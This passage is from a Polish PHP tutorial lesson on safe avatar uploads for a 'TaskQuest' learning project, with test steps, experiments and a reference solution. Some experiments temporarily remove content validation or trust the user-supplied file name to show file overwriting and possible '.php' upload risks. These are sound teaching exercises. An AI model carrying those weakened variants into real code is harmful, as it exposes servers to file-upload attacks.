<p class="wp-block-paragraph">Po błędzie pole pliku jest puste. To oczekiwane zachowanie (krok 6a).</p>



<h2 class="wp-block-heading">Test 5 — formularz bez pliku</h2>



<p class="wp-block-paragraph">W narzędziach deweloperskich (F12 → Elements/Inspektor) usuń z pola pliku atrybut <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code> i kliknij „Zapisz avatar” bez wybierania pliku. Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Wybierz plik z obrazkiem.</code> To dowód, że PHP sprawdza zawsze, niezależnie od przeglądarki.</p>



<h2 class="wp-block-heading">Test 6 — każdy gracz ma swój avatar</h2>



<p class="wp-block-paragraph">Zaloguj się jako Ola i wyślij obrazek. Oczekiwane: plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_2_&lt;liczba&gt;...</code>, Ola widzi swój avatar. Zaloguj się jako Kama: nadal widzi swój.</p>



<h2 class="wp-block-heading">Test 7 — wejście bez formularza</h2>



<p class="wp-block-paragraph">Wpisz w pasku adresu <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code> (GET), będąc zalogowaną/zalogowanym. Oczekiwane: sam formularz, bez komunikatów. Wyloguj się i wejdź na <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code>: przekierowanie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>.</p>



<h2 class="wp-block-heading">Test 8 — diagnostyka</h2>



<p class="wp-block-paragraph">Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>. Oczekiwane: 21 plików <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>, sekcja „Avatary” z <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>. Zmień nazwę katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatary_x</code> i odśwież: <code class="prettyprint lang-sql" style="font-size: 0.85em;">[BRAK] Katalog ... nie istnieje</code>. Przywróć nazwę.</p>



<h2 class="wp-block-heading">Test 9 — baza nie działa</h2>



<p class="wp-block-paragraph">Zatrzymaj MySQL w XAMPP. Wyślij poprawny obrazek. Oczekiwane: ramka „Nie udało się zapisać avatara: Nie udało się połączyć z bazą danych.” Zajrzyj do <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code>: plik <strong>jest</strong>, choć baza go nie wskazuje. Uruchom MySQL. Ten plik możesz usunąć ręcznie.</p>



<h1 class="wp-block-heading">8. Obowiązkowe eksperymenty</h1>



<p class="wp-block-paragraph">Po każdym eksperymencie przywróć kod.</p>



<h3 class="wp-block-heading">Eksperyment 1: formularz bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">enctype</code></h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> usuń z formularza <code class="prettyprint lang-sql" style="font-size: 0.85em;">enctype="multipart/form-data"</code>. Pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">print_r($_FILES);</code> dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">print_r($_POST);</code>. Wyślij <code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code>.</p>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code> jest <strong>puste</strong>, a w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code> jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">[avatar] =&gt; kot.png</code>. Przeglądarka wysłała zwykły formularz tekstowy, a za wartość pola pliku wzięła jego nazwę. Zawartość pliku nie opuściła komputera.</p>



<p class="wp-block-paragraph">Pytanie: co zrobiłoby <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code>, gdyby ktoś zapomniał <code class="prettyprint lang-sql" style="font-size: 0.85em;">enctype</code>? (Sprawdź: usuń atrybut w <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code> i wyślij obrazek.)</p>



<h3 class="wp-block-heading">Eksperyment 2: bez sprawdzania zawartości</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujAvatar()</code> zamień warunek z <code class="prettyprint lang-sql" style="font-size: 0.85em;">getimagesize()</code> na komentarz (całą gałąź <code class="prettyprint lang-sql" style="font-size: 0.85em;">elseif</code> razem z jej zawartością). Jako Kama wyślij <code class="prettyprint lang-sql" style="font-size: 0.85em;">notatka.png</code>.</p>



<p class="wp-block-paragraph">Oczekiwane: „Avatar został zmieniony.”, a w kółku ikonka zepsutego obrazka. Otwórz ten „avatar” w nowej karcie: przeglądarka próbuje pokazać tekst jako obrazek.</p>



<p class="wp-block-paragraph">Teraz wyobraź sobie, że w <code class="prettyprint lang-sql" style="font-size: 0.85em;">notatka.png</code> nie ma zwykłego tekstu, tylko kod PHP. Ponieważ plik kończy się na <code class="prettyprint lang-sql" style="font-size: 0.85em;">.png</code>, Apache pokaże go jako obrazek i <strong>nie wykona</strong> go. Ochronę daje więc przede wszystkim <strong>rozszerzenie z listy dozwolonych</strong>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">getimagesize()</code> pilnuje, żeby avatar był obrazkiem, a nie czymkolwiek. Pytanie: która linia kodu musiałaby zawieść, żeby na serwer trafił plik z końcówką <code class="prettyprint lang-sql" style="font-size: 0.85em;">.php</code>? (Wskazówki: krok 4 i 6c.)</p>



<p class="wp-block-paragraph">Przywróć warunek. Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> i usuń plik z <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code>.</p>



<h3 class="wp-block-heading">Eksperyment 3: nazwa od użytkownika</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code> tymczasowo zamień budowanie nazwy na:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwaPlikuAvatara = $plik&#91;'name'];</code></pre>



<p class="wp-block-paragraph">Zaloguj się jako Kama i wyślij obrazek o nazwie <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar.png</code>. Zaloguj się jako Ola i wyślij <strong>inny</strong> obrazek, też nazwany <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar.png</code>. Zaloguj się z powrotem jako Kama.</p>



<p class="wp-block-paragraph">Oczekiwane: Kama ma avatar Oli. W katalogu jest jeden plik, drugi go nadpisał, a w bazie oboje wskazują tę samą nazwę. Ktoś mógłby w ten sposób podmieniać avatary innym graczom, znając tylko nazwę ich pliku. Pomyśl też, co by się stało przy nazwie pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak.php</code>, gdyby lista rozszerzeń miała błąd.</p>



<p class="wp-block-paragraph">Przywróć kod. Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> i opróżnij <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code>.</p>



<h3 class="wp-block-heading">Eksperyment 4: brak katalogu</h3>



<p class="wp-block-paragraph">Zmień nazwę <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatary_x</code>. Wyślij poprawny obrazek.</p>



<p class="wp-block-paragraph">Oczekiwane: nad stroną ostrzeżenie PHP <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning: move_uploaded_file(...): Failed to open stream: No such file or directory</code> (oraz drugie, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Unable to move ...</code>), a pod nim nasza ramka „Nie udało się zapisać avatara: Nie udało się zapisać pliku na serwerze.”. Funkcja zwróciła <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> i nasz kod to obsłużył. Ostrzeżenia wypisał sam PHP. Zwróć uwagę, że zawierają <strong>pełne ścieżki na dysku serwera</strong>. Użytkownik nie powinien ich widzieć. Jak wyłączyć ich wyświetlanie, poznasz w Lekcji 23.</p>



<p class="wp-block-paragraph">Przywróć nazwę katalogu.</p>



<h3 class="wp-block-heading">Eksperyment 5 (dla chętnych albo pokaz nauczyciela): limity serwera</h3>



<ol class="wp-block-list">
<li>W panelu XAMPP przy Apache kliknij „Config” → „PHP (php.ini)”. Znajdź <code class="prettyprint lang-sql" style="font-size: 0.85em;">upload_max_filesize</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">post_max_size</code>, zapisz obecne wartości i zmień je na <code class="prettyprint lang-sql" style="font-size: 0.85em;">upload_max_filesize=500K</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">post_max_size=2M</code>. Zapisz plik i zrestartuj Apache (Stop → Start).</li>



<li>Wyślij obrazek o rozmiarze między 500 KB a 1 MB. Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Plik może mieć najwyżej 1 MB.</code>, choć plik ma mniej niż 1 MB. Zadziałał limit serwera (<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_INI_SIZE</code>), a nasz komunikat wprowadza w błąd. Wniosek: własny limit aplikacji musi być <strong>niższy</strong> niż limity serwera.</li>



<li>Wyślij <code class="prettyprint lang-sql" style="font-size: 0.85em;">duzy.jpg</code> (powyżej 2 MB). Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Plik jest za duży albo nie został wysłany.</code>, bo przekroczony <code class="prettyprint lang-sql" style="font-size: 0.85em;">post_max_size</code> sprawił, że <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code> jest puste. Nad stroną może się też pojawić ostrzeżenie PHP <code class="prettyprint lang-sql" style="font-size: 0.85em;">POST Content-Length of ... bytes exceeds the limit of ... bytes</code>. PHP zgłasza je, zanim uruchomi nasz skrypt. Tymczasowo zamień w <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code> <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['avatar'] ?? null</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['avatar']</code> i wyślij plik jeszcze raz: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning: Undefined array key "avatar"</code> i dalsze błędy.</li>



<li>Przywróć kod i oryginalne wartości w <code class="prettyprint lang-sql" style="font-size: 0.85em;">php.ini</code>, zrestartuj Apache.</li>
</ol>



<h1 class="wp-block-heading">9. ROZWIĄZANIE</h1>



<p class="wp-block-paragraph">Poniżej wszystkie pliki, które zmieniły się w Lekcji 21. Pliki niewymienione są <strong>identyczne jak po Lekcji 19</strong> (wersja w <code class="prettyprint lang-sql" style="font-size: 0.85em;">19_TaskQuest.md</code>, sekcja 9, a tam, gdzie L19 odsyła dalej — w <code class="prettyprint lang-sql" style="font-size: 0.85em;">18_TaskQuest.md</code>).</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<h2 class="wp-block-heading">Nowy katalog</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/        pusty katalog; tworzony ręcznie, nie przez aplikację</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> — zmiana w <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE uzytkownicy</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE uzytkownicy (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    login VARCHAR(20) NOT NULL UNIQUE,
    imie VARCHAR(30) NOT NULL,
    haslo_hash VARCHAR(255) NULL,
    xp INT UNSIGNED NOT NULL DEFAULT 0,
    streak INT UNSIGNED NOT NULL DEFAULT 0,
    data_ostatniej_aktywnosci DATE NULL,       -- NULL = brak aktywności
    avatar VARCHAR(100) NULL                   -- (L21) nazwa pliku w uploads/avatary; NULL = brak avatara
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;</code></pre>



<p class="wp-block-paragraph">Reszta skryptu bez zmian (jeśli <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO uzytkownicy</code> nie wymienia kolumn — patrz krok 1).</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> — dopisane na końcu</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// (L21) avatary graczy
define('KATALOG_AVATAROW', 'uploads/avatary');          // względem katalogu projektu
define('MAKS_ROZMIAR_AVATARA', 1024 * 1024);           // 1 MB w bajtach
define('DOZWOLONE_ROZSZERZENIA_AVATARA', &#91;'jpg', 'jpeg', 'png', 'webp']);</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_avatara.php</code> (nowy plik)</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Funkcje TaskQuest do obsługi avatarów (Lekcja 21).
// Wymagają wcześniejszego dołączenia config/config.php (stałe ..._AVATARA).

function rozszerzenieAvatara(string $nazwaPliku): string
{
    return strtolower(pathinfo($nazwaPliku, PATHINFO_EXTENSION));
}

function walidujAvatar(array $plik): array
{
    $bledy = &#91;];

    if ($plik&#91;'error'] === UPLOAD_ERR_NO_FILE) {
        $bledy&#91;] = 'Wybierz plik z obrazkiem.';
        return $bledy;
    }

    if ($plik&#91;'error'] === UPLOAD_ERR_INI_SIZE || $plik&#91;'error'] === UPLOAD_ERR_FORM_SIZE) {
        $bledy&#91;] = 'Plik może mieć najwyżej 1 MB.';
        return $bledy;
    }

    if ($plik&#91;'error'] !== UPLOAD_ERR_OK) {
        $bledy&#91;] = 'Nie udało się przesłać pliku. Spróbuj ponownie.';
        return $bledy;
    }

    if ($plik&#91;'size'] === 0) {
        $bledy&#91;] = 'Wybrany plik jest pusty.';
        return $bledy;
    }

    if ($plik&#91;'size'] &gt; MAKS_ROZMIAR_AVATARA) {
        $bledy&#91;] = 'Plik może mieć najwyżej 1 MB.';
    }

    if (!in_array(rozszerzenieAvatara($plik&#91;'name']), DOZWOLONE_ROZSZERZENIA_AVATARA, true)) {
        $bledy&#91;] = 'Dozwolone formaty: JPG, PNG, WEBP.';
    } elseif (getimagesize($plik&#91;'tmp_name']) === false) {
        $bledy&#91;] = 'Wybrany plik nie jest obrazkiem.';
    }

    return $bledy;
}</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code> — zmiany</h2>



<ol class="wp-block-list">
<li>Komentarz na górze: „(Lekcje 18–21)”.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT id, login, imie, xp, streak, data_ostatniej_aktywnosci, avatar FROM uzytkownicy WHERE id = ?</code> oraz ostatni argument <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar: $wiersz['avatar'],</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Uzytkownik(...)</code>.</li>



<li>Na końcu pliku:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function zapiszAvatarUzytkownika(mysqli $polaczenie, int $uzytkownikId, string $nazwaPlikuAvatara): void
{
    $zapytanie = $polaczenie-&gt;prepare('UPDATE uzytkownicy SET avatar = ? WHERE id = ?');
    $zapytanie-&gt;bind_param('si', $nazwaPlikuAvatara, $uzytkownikId);
    $zapytanie-&gt;execute();
}</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code> — zmiany</h2>



<ul class="wp-block-list">
<li>nowa ostatnia właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">private ?string $avatar;</code> (pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">dataOstatniejAktywnosci</code>),</li>



<li>konstruktor: nowy ostatni parametr <code class="prettyprint lang-sql" style="font-size: 0.85em;">?string $avatar</code>, ostatnia linia ciała <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;avatar = $avatar;</code>,</li>



<li>nowa metoda pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzStreak()</code>:</li>
</ul>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    public function pobierzAvatar(): ?string
    {
        return $this-&gt;avatar;
    }</code></pre>



<p class="wp-block-paragraph">Pozostałe metody bez zmian.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code> (nowy plik)</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_avatara.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

wymagajLogowania();

$bledy = &#91;];
$bladZapisu = null;

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $plik = $_FILES&#91;'avatar'] ?? null;

    if ($plik === null) {
        $bledy&#91;] = 'Plik jest za duży albo nie został wysłany.';
    } else {
        $bledy = walidujAvatar($plik);
    }

    if ($bledy === &#91;]) {
        $nazwaPlikuAvatara = 'avatar_' . $_SESSION&#91;'uzytkownik_id'] . '_' . time() . '.' . rozszerzenieAvatara($plik&#91;'name']);
        $sciezkaAvatara = __DIR__ . '/' . KATALOG_AVATAROW . '/' . $nazwaPlikuAvatara;

        if (!move_uploaded_file($plik&#91;'tmp_name'], $sciezkaAvatara)) {
            $bladZapisu = 'Nie udało się zapisać pliku na serwerze.';
        } else {
            try {
                $polaczenie = polaczZBaza();
                zapiszAvatarUzytkownika($polaczenie, $_SESSION&#91;'uzytkownik_id'], $nazwaPlikuAvatara);

                ustawKomunikat('Avatar został zmieniony.');
                header('Location: index.php');
                exit;
            } catch (Exception $wyjatek) {
                $bladZapisu = $wyjatek-&gt;getMessage();
            }
        }
    }
}

$nazwaStrony = 'Profil — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;

&lt;h2&gt;Twój profil&lt;/h2&gt;
&lt;p&gt;&lt;a href="index.php"&gt;← Wróć do listy zadań&lt;/a&gt;&lt;/p&gt;

&lt;?php if ($bledy !== &#91;]) { ?&gt;
    &lt;div class="blad"&gt;
        &lt;p&gt;Popraw formularz:&lt;/p&gt;
        &lt;ul&gt;
            &lt;?php foreach ($bledy as $blad) { ?&gt;
                &lt;li&gt;&lt;?= $blad; ?&gt;&lt;/li&gt;
            &lt;?php } ?&gt;
        &lt;/ul&gt;
    &lt;/div&gt;
&lt;?php } ?&gt;

&lt;?php if ($bladZapisu !== null) { ?&gt;
    &lt;p class="blad"&gt;Nie udało się zapisać avatara: &lt;?= $bladZapisu; ?&gt;&lt;/p&gt;
&lt;?php } ?&gt;

&lt;form method="post" action="profil.php" enctype="multipart/form-data"&gt;
    &lt;label for="avatar"&gt;Avatar (JPG, PNG lub WEBP, najwyżej 1 MB)&lt;/label&gt;
    &lt;input type="file" id="avatar" name="avatar" accept=".jpg,.jpeg,.png,.webp" required&gt;

    &lt;button type="submit"&gt;Zapisz avatar&lt;/button&gt;
&lt;/form&gt;

&lt;?php require_once __DIR__ . '/includes/footer.php'; ?&gt;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — zmiany</h2>



<ol class="wp-block-list">
<li>Bezpośrednio nad zdaniem powitalnym „Witaj, &#8230;!”:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php if ($uzytkownik-&gt;pobierzAvatar() !== null) { ?&gt;
    &lt;img class="avatar" src="&lt;?= KATALOG_AVATAROW . '/' . $uzytkownik-&gt;pobierzAvatar(); ?&gt;" alt="Avatar gracza"&gt;
&lt;?php } else { ?&gt;
    &lt;span class="avatar avatar-litera"&gt;&lt;?= mb_substr($uzytkownik-&gt;pobierzImie(), 0, 1); ?&gt;&lt;/span&gt;
&lt;?php } ?&gt;</code></pre>



<ol start="2" class="wp-block-list">
<li>Pod akapitem „Zalogowano jako &#8230;”, nad formularzem „Wyloguj”:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;&lt;a href="profil.php"&gt;Twój profil — zmień avatar&lt;/a&gt;&lt;/p&gt;</code></pre>



<p class="wp-block-paragraph">Reszta pliku (dane z bazy, obsługa awarii, liczniki, widok listy, przyciski przy zadaniach, pasek XP, ranking) bez zmian. <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> bez zmian.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code></h2>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;style&gt;</code>, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">form.akcja { display: inline; }</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">.avatar { display: inline-block; width: 64px; height: 64px; border-radius: 50%; object-fit: cover; vertical-align: middle; }
.avatar-litera { background: #5b6ee1; color: #fff; font-size: 32px; font-weight: bold; line-height: 64px; text-align: center; }</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></h2>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> dopisane <code class="prettyprint lang-sql" style="font-size: 0.85em;">'profil.php'</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'includes/funkcje_avatara.php'</code> (razem <strong>21</strong> ścieżek). Pod sekcją „Baza danych” nowa sekcja:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Avatary&lt;/h2&gt;
&lt;?php if (!is_dir(__DIR__ . '/uploads/avatary')) { ?&gt;
    &lt;p&gt;&#91;BRAK] Katalog uploads/avatary nie istnieje — utwórz go w katalogu projektu.&lt;/p&gt;
&lt;?php } elseif (!is_writable(__DIR__ . '/uploads/avatary')) { ?&gt;
    &lt;p&gt;&#91;BRAK] Do katalogu uploads/avatary nie można zapisywać plików.&lt;/p&gt;
&lt;?php } else { ?&gt;
    &lt;p&gt;&#91;OK] Katalog uploads/avatary istnieje i można do niego zapisywać.&lt;/p&gt;
&lt;?php } ?&gt;</code></pre>



<p class="wp-block-paragraph">Reszta bez zmian (nadal bez sesji, bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code>, bez połączenia z bazą).</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;TaskQuest 2.1&lt;/p&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
</details>



<h1 class="wp-block-heading">10. Co zmieniliśmy w TaskQuest?</h1>



<h3 class="wp-block-heading">Zostaje</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">wszystko z Lekcji 19: logowanie (login bez hasła), sesja z uzytkownik_id, zadania w bazie,
dodawanie, „Zrobione!” z XP i streakiem, usuwanie, ranking, filtr widoku z cookie, komunikaty jednorazowe
schemat strony z formularzem (L13), walidacja zwracająca tablicę błędów, POST → przekierowanie → GET
funkcje bazy z L18–L19, klasy Zadanie i Uzytkownik (poza nowym polem), wszystkie funkcje z L1–L15</code></pre>



<h3 class="wp-block-heading">Dochodzi</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">baza: uzytkownicy.avatar VARCHAR(100) NULL
config.php: KATALOG_AVATAROW, MAKS_ROZMIAR_AVATARA, DOZWOLONE_ROZSZERZENIA_AVATARA
includes/funkcje_avatara.php:
    rozszerzenieAvatara(string $nazwaPliku): string
    walidujAvatar(array $plik): array
includes/funkcje_bazy.php:
    zapiszAvatarUzytkownika(mysqli, int $uzytkownikId, string $nazwaPlikuAvatara): void
Uzytkownik: ?string $avatar, pobierzAvatar(): ?string
profil.php — formularz avatara (multipart/form-data)
uploads/avatary/ — katalog na pliki
index.php: avatar albo litera przy powitaniu, link do profilu
header.php: .avatar, .avatar-litera
diagnostyka.php: 21 plików, sekcja „Avatary”</code></pre>



<p class="wp-block-paragraph">Nowe narzędzia: <code class="prettyprint lang-sql" style="font-size: 0.85em;">enctype="multipart/form-data"</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="file"&gt;</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">accept</code>, tablica <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">type</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">tmp_name</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">size</code>), stałe <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_...</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">move_uploaded_file()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">getimagesize()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">pathinfo(..., PATHINFO_EXTENSION)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">strtolower()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">in_array(..., true)</code>, stała z tablicą, <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_dir()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_writable()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">ini_get()</code> (brudnopis), limity <code class="prettyprint lang-sql" style="font-size: 0.85em;">upload_max_filesize</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">post_max_size</code>.</p>



<h3 class="wp-block-heading">Zmieniamy</h3>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code>: czyta kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code>,</li>



<li>konstruktor <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>: nowy ostatni parametr,</li>



<li>stopka: <code class="prettyprint lang-sql" style="font-size: 0.85em;">2.1</code>.</li>
</ul>



<h3 class="wp-block-heading">Usuwamy</h3>



<p class="wp-block-paragraph">Nic.</p>



<h3 class="wp-block-heading">Co nowego potrafi TaskQuest po tej lekcji?</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Po Lekcji 21 TaskQuest przyjmuje od gracza plik: każdy może wgrać własny avatar, który pojawia się obok powitania. Aplikacja odrzuca pliki za duże, puste, w złym formacie i takie, które tylko udają obrazek, a zapisuje je pod własną nazwą, więc gracze nie nadpisują sobie plików. Gracz bez avatara widzi kółko z pierwszą literą imienia.</p>
</blockquote>



<h1 class="wp-block-heading">11. Zadania końcowe — rozbuduj TaskQuest samodzielnie</h1>



<p class="wp-block-paragraph">Nie są częścią wersji referencyjnej.</p>



<p class="wp-block-paragraph"><strong>A. Sprzątanie po starym avatarze.</strong> Po udanej zmianie w bazie usuń poprzedni plik gracza funkcją <code class="prettyprint lang-sql" style="font-size: 0.85em;">unlink($sciezka)</code>. Skąd weźmiesz nazwę starego pliku? (Musisz ją odczytać <strong>przed</strong> zapisem nowej — którą funkcją?) Co, jeśli gracz nie miał avatara (<code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>)? Dlaczego stary plik usuwamy dopiero <strong>po</strong> udanym zapisie w bazie, a nie przed? Po zmianie Test 3 ma zostawiać w katalogu jeden plik Kamy.</p>



